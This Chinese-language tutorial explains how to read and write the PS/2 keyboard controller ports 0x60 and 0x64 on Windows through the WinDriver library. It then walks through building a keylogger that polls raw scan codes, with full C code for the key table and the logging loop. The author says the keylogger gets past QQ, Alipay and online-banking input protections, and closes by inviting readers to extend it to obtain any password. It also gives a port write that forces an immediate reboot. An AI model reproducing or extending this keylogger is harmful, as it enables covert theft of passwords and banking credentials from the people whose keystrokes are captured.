表1
剩下的问题就是我们如何获取键盘的扫描码,并且将它们翻译出来了。比如我们如何获取扫描码1E,并且能将它翻译为A键被按下。键盘控制芯片给我们使用的 PC机提供了两个可访问的I/O端口,一个是0x60,一个是0x64,我们能够读取键盘缓冲区中的数据,也能发送控制命令。打开设备管理器,如图1所 示,我们可以清晰地看到它们。0x60为数据端口,0x64 为命令端口。
图1
通常情况下,我们从0x60读取的数据就是键盘的扫描码,而从0x64读取的数据为键盘的状态字。状态字的各位含义如下:
Bit7: 从键盘获得的数据奇偶校验错误;
Bit6: 接收超时,置1;
Bit5: 发送超时,置1;
Bit4: 为1,键盘没有被禁止。为0,键盘被禁止;
Bit3: 为1,输入缓冲器中的内容为命令,为0,输入缓冲器中的内容为数据;
Bit2: 系统标志,加电启动置0,自检通过后置1;
Bit1: 输入缓冲器满置1,i8042 取走后置0;
Bit0: 输出缓冲器满置1,CPU读取后置0。
接下来我们再说一下端口的操作方法。Windows NT系统是不允许直接操作端口的,只有通过驱动程序才能实现,可供选择的驱动程序有免费开源的winio、windriver等。由于我的毕业设计涉及到 视频采集卡驱动程序的设计,所以就以windirver为例来说明端口操作方法了。安装好windriver之后,在“\samples \basic_io\”目录下有一个basic_io.c,我们可以直接使用它提供的端口操作函数读写端口。注意修改IO_init()函数添加如下语 句: (责任编辑:admin)
WD_LICENSE lic;
strcpy(lic.cLicense,你的licenseString);
WD_License(hWD, &lic);
这样,我们使用的windrier驱动就去掉了30天试用期限的限制了。它可以提供的函数如下,有了这些函数,我们就可以直接读写端口了。
BYTE IO_inp(DWORD dwIOAddr)
//从dwIOAddr读取一个字节
WORD IO_inpw(DWORD dwIOAddr)
//从dwIOAddr读取两个字节
DWORD IO_inpd(DWORD dwIOAddr)
//从dwIOAddr读取四个字节
void IO_outp(DWORD dwIOAddr, BYTE bData)
//将一个字节的bData写入dwIOAddr
void IO_outpw(DWORD dwIOAddr, WORD wData)
//将两个字节的bData写入dwIOAddr
void IO_outpd(DWORD dwIOAddr, DWORD dwData)
//将四个字节的bData写入dwIOAddr
为了方便大家测试,我给大家提供一个有趣的例子。通过读写I/O端口控制键盘上的Num Lock、Caps Lock、Scroll Lock这三个LED指示灯,向0x60端口发送控制命令就可以控制它们的亮灭了。控制LED的命令是0xED,我们可以在LED没亮之前(实验之前请先 使LED指示灯关掉)发送0xED命令到0x60端口,然后立即发送另一个BYTE指示设置哪个LED,第2个BYTE用最低的3个字节设置这三个指示 灯。问题是这种直接的方法没有考虑键盘控制器是否准备好接收命令。通常情况下,我们必须等待芯片准备接收命令时再发送命令控制字。如果芯片没有准备好,将 不会产生任何效果。另外,即使我们读取0x64端口的状态字,确定键盘处于准备接收命令状态,但是我们也不能保证随后发送控制命令的操作不会受到键盘本身 驱动程序读写端口引起的干扰。因此,我们可以采用如下的测试程序。
void light()
{
BYTE status;
while(1)
{
status=IO_inp( 0x00000064);
printf("%x",status);
IO_outp( 0x00000060,0xed);
IO_outp( 0x00000060,0x07);
Sleep(100);
}
}
这样,键盘正确接收到我们控制命令的概率就比较大了。程序运行几十秒,就会发现键盘上的三个指示灯突然全部亮了起来。
罗嗦了这么多,大家对端口的操作应该有了基本了解了,下面我们开始分析计算机是如何处理我们的按键操作的。当我们按下或者释放某一按键时,键盘控制器将会 在IRQ1号线上送出中断信号,8259A中断控制器将此中断信号与其它外部设备通过其余的IRQ线送来的中断信号进行判优、排队,最后将此信息送给 CPU。CPU在一条指令运行结束后,会查询一下是否有中断信号送来,如果此时发现有中断信号送来,就会通过此中断信号的中断向量在中断描述符表中查询应 当使用哪一个中断处理程序。当找到中断处理程序后,CPU将调用此中断处理程序进行中断处理。注意在键盘中断处理程序之前,键盘扫描码已经被放到输出缓冲 区中(0x60),中断处理程序所要作的就是从输入缓冲区拿走数据并且翻译数据。所以我们可以直接读取输出缓冲区,即0x60端口直接获取键盘数据的扫描 码,并且不会干扰中断处理程序的正常工作。注意,我们在轮询扫描码时最好不要读取0x64端口,尽管从该端口可以读取键盘输入输出缓冲区的状态信息(满或 空),但是从0x64读取状态字会引起0x60端口上数据的清除,可能会导致键盘驱动无法读取输入数据。
尽管键盘控制器提供了很多操作命令,但我们最好不要往0x60或0x64端口直接写入数据,否则可能产生意想不到的结果,比如IO_outp( 0x00000064,0xfe)操作将会引起操作系统的立即重启(警告,实验前请先做好保存工作,造成文件未保存数据丢失可别说我没提醒哦!),效果如 同手动按了机箱上的Reset键,这是由于键盘控制器可以直接控制CPU Reset管脚电平。
有了以上知识,我们就可以着手写一个直接读取键盘控制寄存器的键盘记录程序了。因为我们要将扫描码翻译出来,所以我使用make code作为数组下标索引打印键的名称。
char keycode[55][5]={"","ESC","1","2","3","4","5","6","7","8","9","0","-","=","BSP","TAB","Q","W","E","R","T","Y","U","I","O","P","[","]","ENT","LCT","A","S","D","F","G","H","J","K","L",";","'","`","LSH","\\","Z","X","C","V","B","N","M",",",".","/","RSH","*","LAL","SPA","CAP","F1","F2","F3","F4","F5","F6","F7","F8","F9","F10","NUM","SCO","7","8","9","-","4","5","6","+","1","2","3","0","."};
这里我只定义了前53个扫描码的键名称,对于一般的只记录字母、符号的键盘记录,这些信息已经足够了。以下为从0x60轮询扫描码的程序代码。
void Log()
{
BYTE retData;
BYTE keyDown;//键按下数据
BYTE keyUp;//键弹起数据
BYTE bCanLog1=1;
BYTE bCanLog2=1;
while(1)
{
retData=IO_inp( (DWORD)0x00000060);
if(retData==0x00||retData==0xff||retData==0xaa||retData==0xee||retData==0xf0||retData==0xfa||retData==0xfe||retData==0xfc)
{
Sleep(50);
continue;
//非扫描码数据的过滤,可以根据情况添加自己不需要的按键信息 (责任编辑:admin)
}
//键按下产生make code,键放开产生break code,make code最高位为0。keycode使用make code作为索引打印按键
if(!(retData&0x80)) //有键被按下
{
keyDown=retData;
}//有键放开!retData第7位为1!我们使用make code记录键值,make code第7位为0!
if(retData&0x80)
{
keyUp=retData&0x7f;
if(keyUp==keyDown)
{
printf("%s ",keycode[keyDown]);
keyUp=0;
keyDown=1;
}
}
Sleep(50);
}
}
因为程序是从最底层获取键盘扫描码数据的,所以对于使用PS/2键盘的用户,可以截取到他们在任何安全保护情况下的输入信息,包括QQ nProtect技术的安全控件、支付宝安全控件、网上银行安全控件等。鉴于巨大危害性,我这里只提供了演示程序,效果如图2和图3所示。
图2
图3
至于其他更详细的应用,大家可以在我提供的程序的基础上进行扩充。只要我们能够直接访问键盘控制芯片,那么任它再有效的输入保护措施,对我们来说都是如同 虚设,想要什么密码就可以获得什么密码。